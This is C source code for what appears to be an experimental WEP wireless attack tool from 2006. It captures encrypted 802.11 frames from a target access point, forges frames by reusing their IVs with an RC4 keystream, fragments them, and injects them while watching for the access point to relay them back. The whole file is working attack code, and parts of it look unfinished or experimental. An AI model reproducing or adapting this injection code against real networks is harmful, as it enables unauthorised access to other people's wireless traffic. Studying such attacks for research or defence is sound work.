1 /*-
2  * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
3  * All rights reserved.
4  *
5  * Redistribution and use in source and binary forms, with or without
6  * modification, are permitted provided that the following conditions
7  * are met:
8  * 1. Redistributions of source code must retain the above copyright
9  *    notice, this list of conditions and the following disclaimer.
10  * 2. Redistributions in binary form must reproduce the above copyright
11  *    notice, this list of conditions and the following disclaimer in the
12  *    documentation and/or other materials provided with the distribution.
13  *
14  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
15  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
16  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
17  * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
18  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
19  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
20  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
21  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
22  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
23  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
24  * SUCH DAMAGE.
25  */
26 #include <sys/time.h>
27 #include <sys/types.h>
28 #include <sys/socket.h>
29 #include <sys/uio.h>
30 #include <netinet/in.h>
31 #include <arpa/inet.h>
32 #include <netinet/in_systm.h>
33 #include <netinet/ip.h>
34 #include <string.h>
35 #include <stdio.h>
36 #include <stdlib.h>
37 #include <unistd.h>
38 #include <fcntl.h>
39 #include <err.h>
40 #include <assert.h>
41 #include <zlib.h>
42 #include "w00t.h"
43 
44 enum {
45 	S_START = 0,
46 	S_WAIT_RELAY,
47 };
48 
49 struct queue {
50 	struct ieee80211_frame *wh;
51 	int len;
52 
53 	char *buf;
54 	int live;
55 	struct queue *next;
56 };
57 
58 struct params {
59 	int rx;
60 	int tx;
61 
62 	int tap;
63 
64 	char mcast[5];
65 	char mac[6];
66 	char ap[6];
67 
68 	char prga[2048];
69 	int prga_len;
70 
71 	int state;
72 
73 	struct queue *q;
74 
75 	char packet[2048];
76 	int packet_len;
77 	struct timeval last;
78 
79 	int seq;
80 
81 	unsigned char guess;
82 };
83 
84 int wanted(struct params *p, struct ieee80211_frame *wh, int len)
85 {
86 	char *bssid, *sa;
87 
88 	if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
89 		bssid = wh->i_addr1;
90 		sa = wh->i_addr2;
91 	}
92 	else {
93 		bssid = wh->i_addr2;
94 		sa = wh->i_addr3;
95 	}
96 
97 	if (memcmp(bssid, p->ap, 6) != 0)
98 		return 0;
99 
100 	if (!(wh->i_fc[1] & IEEE80211_FC1_PROTECTED)) {
101 		printf("Got non WEP packet...\n");
102 		return 0;
103 	}
104 
105 	/* my own shit */
106 	if (memcmp(p->mac, sa, 6) == 0)
107 		return 0;
108 
109 	return 1;
110 }
111 
112 void enque(struct params *p, char **buf, struct ieee80211_frame *wh, int len)
113 {
114 	struct queue *q = p->q;
115 	int qlen = 0;
116 	char *ret = NULL;
117 	struct queue *last = NULL;
118 
119 	/* find a slot */
120 	while (q) {
121 		if (q->live)
122 			qlen++;
123 		else {
124 			/* recycle */
125 			ret = q->buf;
126 			break;
127 		}
128 
129 		last = q;
130 		q = q->next;
131 	}
132 
133 	/* need to create slot */
134 	if (!q) {
135 		q = (struct queue*) malloc(sizeof(*q));
136 		if (!q)
137 			err(1, "malloc()");
138 		memset(q, 0, sizeof(*q));
139 
140 		/* insert */
141 		if (!p->q)
142 			p->q = q;
143 		else {
144 			assert(last);
145 			last->next = q;
146 		}
147 	}
148 
149 	q->live = 1;
150 	q->buf = *buf;
151 	q->len = len;
152 	q->wh = wh;
153 
154 	qlen++;
155 
156 	if (qlen > 5)
157 		printf("Enque.  Size: %d\n", qlen);
158 	*buf = ret;
159 }
160 
161 void send_packet(struct params *p)
162 {
163         int rc;
164 
165         rc = inject(p->tx, p->packet, p->packet_len);
166         if (rc == -1)
167                 err(1, "inject()");
168         if (rc != p->packet_len) {
169                 printf("Wrote %d/%d\n", rc, p->packet_len);
170                 exit(1);
171         }
172 
173         if (gettimeofday(&p->last, NULL) == -1)
174                 err(1, "gettimeofday()");
175 }
176 #include <openssl/rc4.h>
177 void send_mcast(struct params *p, unsigned char x)
178 {
179 	struct ieee80211_frame *wh;
180 	short *seq;
181 	struct queue *q = p->q;
182 	char *data, *ptr;
183 	int len;
184 	uLong crc = crc32(0L, Z_NULL, 0);
185 	uLong *pcrc;
186 	int i;
187 	int need_frag = 0;
188 	char payload[10] = "\xAA\xAA\x03\x00\x00\x00\x08\x06\x00\x00";
189 
190 	assert(q);
191 
192 	/* 802.11 */
193 	memset(p->packet, 0, sizeof(p->packet));
194 	wh = (struct ieee80211_frame*) p->packet;
195 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
196 	wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
197 	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
198 	wh->i_fc[1] |= IEEE80211_FC1_PROTECTED;
199 
200 	wh->i_dur[0] = 0x69;
201 
202 	memcpy(wh->i_addr1, p->ap, 6);
203 	memcpy(wh->i_addr2, p->mac, 6);
204 	memcpy(wh->i_addr3, p->mcast, 5);
205 	wh->i_addr3[5] = x;
206 
207 	seq = (short*) wh->i_seq;
208 	*seq = seqfn(p->seq++, 0);
209 
210 	/* IV */
211 	data = (char*) (wh+1);
212 	ptr = (char*) (q->wh+1);
213 	memcpy(data, ptr, 3);
214 
215 	if (p->prga_len == 0) {
216 
217 		RC4_KEY k;
218 		unsigned char key[8];
219 
220 		memset(&key[3], 0x61, 5);
221 		memcpy(key, (q->wh+1), 3);
222 		p->prga_len = 128;
223 
224 		RC4_set_key(&k, 8, key);
225 		memset(p->prga, 0, sizeof(p->prga));
226 		RC4(&k, p->prga_len, p->prga, p->prga);
227 
228 
229 #if 0
230 		int ptl = q->len;
231 		char *pt;
232 
233 		pt = known_pt(q->wh, &ptl);
234 		ptr += 4;
235 		p->prga_len = ptl;
236 		for (i = 0; i < p->prga_len; i++)
237 			p->prga[i] = ptr[i] ^ pt[i];
238 #endif
239 	}
240 
241 	/* data */
242 	data += 4;
243 	memcpy(data, payload, sizeof(payload));
244 	p->prga_len = 12;
245 	len = p->prga_len + 1 - 4;
246 
247 #if 1
248 	if (len < sizeof(payload)) {
249 		need_frag = len;
250 		wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
251 	}
252 #endif
253 
254 	/* crc */
255 	pcrc = (uLong*) (data+len);
256 	*pcrc = crc32(crc, data, len);
257 
258 	/* wepify */
259 	len += 4;
260 	for (i = 0; i < (len); i++) {
261 		assert( i <= p->prga_len);
262 		data[i] ^= p->prga[i];
263 	}
264 //	data[i] ^= x;
265 
266 	len += sizeof(*wh);
267 	p->packet_len = len + 4;
268 	send_packet(p);
269 
270 	/* the data we sent is too fucking short */
271 	if (need_frag) {
272 		memset(data, 0, len);
273 
274 		/* 802.11 */
275 		*seq = seqfn(p->seq-1, 1);
276 		wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
277 
278 		/* data */
279 		len = sizeof(payload) - need_frag;
280 		assert(len > 0 && len <= (p->prga_len - 4));
281 		memcpy(data, &payload[need_frag], len);
282 
283 		/* crc */
284 		crc = crc32(0L, Z_NULL, 0);
285 		len = p->prga_len - 4;
286 		pcrc = (uLong*) (data+len);
287 		*pcrc = crc32(crc, data, len);
288 
289 		/* wepify */
290 		len += 4;
291 		for (i = 0; i < len; i++) {
292 			assert( i < p->prga_len);
293 			data[i] ^= p->prga[i];
294 		}
295 
296 		len += sizeof(*wh) + 4;
297 		p->packet_len = len;
298 		send_packet(p);
299 	}
300 }
301 
302 void send_queue(struct params *p)
303 {
304 	struct queue *q = p->q;
305 	int i;
306 
307 	assert(q);
308 	assert(q->live);
309 
310 	for (i = 0; i < 5; i++) {
311 		send_mcast(p, p->guess++);
312 	}
313 
314 	p->state = S_WAIT_RELAY;
315 }
316 
317 void got_mcast(struct params *p, struct ieee80211_frame *wh, int len)
318 {
319 	printf("ao\n");
320 }
321 
322 void read_wifi(struct params *p)
323 {
324 	static char *buf = 0;
325 	static int buflen = 4096;
326 	struct ieee80211_frame *wh;
327 	int rc;
328 
329 	if (!buf) {
330 		buf = (char*) malloc(buflen);
331 		if (!buf)
332 			err(1, "malloc()");
333 	}
334 
335 	rc = sniff(p->rx, buf, buflen);
336 	if (rc == -1)
337 		err(1, "sniff()");
338 
339 	wh = get_wifi(buf, &rc);
340 	if (!wh)
341 		return;
342 
343 	/* relayed macast */
344 	if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
345 		       IEEE80211_FC0_SUBTYPE_DATA) &&
346 	    (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
347 	    (memcmp(wh->i_addr2, p->ap, 6) == 0) &&
348 	    (memcmp(wh->i_addr1, p->mcast, 5) == 0) &&
349 	    (memcmp(p->mac, wh->i_addr3, 6) == 0)) {
350 		got_mcast(p, wh, rc);
351 		return;
352 	}
353 
354 	/* data */
355 	if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
356 		       IEEE80211_FC0_SUBTYPE_DATA)) {
357 		if (!wanted(p, wh, rc))
358 			return;
359 
360 		enque(p, &buf, wh, rc);
361 		if (p->state == S_START)
362 			send_queue(p);
363 		return;
364 	}
365 }
366 
367 void own(struct params *p)
368 {
369 	struct timeval tv;
370 	struct timeval *to = NULL;
371 	fd_set fds;
372 	int tout = 10*1000;
373 
374 	if (p->state == S_WAIT_RELAY) {
375 		int el;
376 
377 		/* check timeout */
378 		if (gettimeofday(&tv, NULL) == -1)
379 			err(1, "gettimeofday()");
380 
381 		el = elapsed(&p->last, &tv);
382 
383 		/* timeout */
384 		if (el >= tout) {
385 			if (p->q && p->q->live) {
386 				send_queue(p);
387 				el = 0;
388 			} else {
389 				p->state = S_START;
390 				return;
391 			}
392 		}
393 		el = tout - el;
394 		tv.tv_sec = el/1000/1000;
395 		tv.tv_usec = el - tv.tv_sec*1000*1000;
396 		to = &tv;
397 	}
398 
399 	FD_ZERO(&fds);
400 	FD_SET(p->rx, &fds);
401 
402 	if (select(p->rx+1, &fds, NULL, NULL, to) == -1)
403 		err(1, "select()");
404 
405 	if (FD_ISSET(p->rx, &fds))
406 		read_wifi(p);
407 }
408 
409 void usage(char *name)
410 {
411 	printf("Usage %s <opts>\n"
412 	       "-h\thelp\n"
413 	       "-b\t<bssid>\n"
414 	       "-t\t<tap>\n"
415 	       , name);
416 	exit(1);
417 }
418 
419 int main(int argc, char *argv[])
420 {
421 	struct params p;
422 	char *iface = "wlan0";
423 	char *tap = "tap0";
424 	int ch;
425 
426 	memset(&p, 0, sizeof(p));
427 	memcpy(p.mac, "\x00\x00\xde\xfa\xce\xd", 6);
428 	p.seq = getpid();
429 	memcpy(p.mcast, "\x01\x00\x5e\x00\x00", 5);
430 
431 	while ((ch = getopt(argc, argv, "hb:t:")) != -1) {
432 		switch (ch) {
433 		case 't':
434 			tap = optarg;
435 			break;
436 
437 		case 'b':
438 			if (str2mac(p.ap, optarg) == -1) {
439 				printf("Can't parse BSSID\n");
440 				exit(1);
441 			}
442 			break;
443 
444 		case 'h':
445 		default:
446 			usage(argv[0]);
447 			break;
448 		}
449 	}
450 
451 	if ((p.rx = open_rx(iface)) == -1)
452 		err(1, "open_rx()");
453 	if ((p.tx = open_tx(iface)) == -1)
454 		err(1, "open_tx()");
455 
456 	if ((p.tap = open_tap(tap)) == -1)
457 		err(1, "open_tap()");
458 	if (set_iface_mac(tap, p.mac) == -1)
459 		err(1, "set_iface_mac()");
460 
461 	p.state = S_START;
462 	while (1)
463 		own(&p);
464 
465 	exit(0);
466 }
467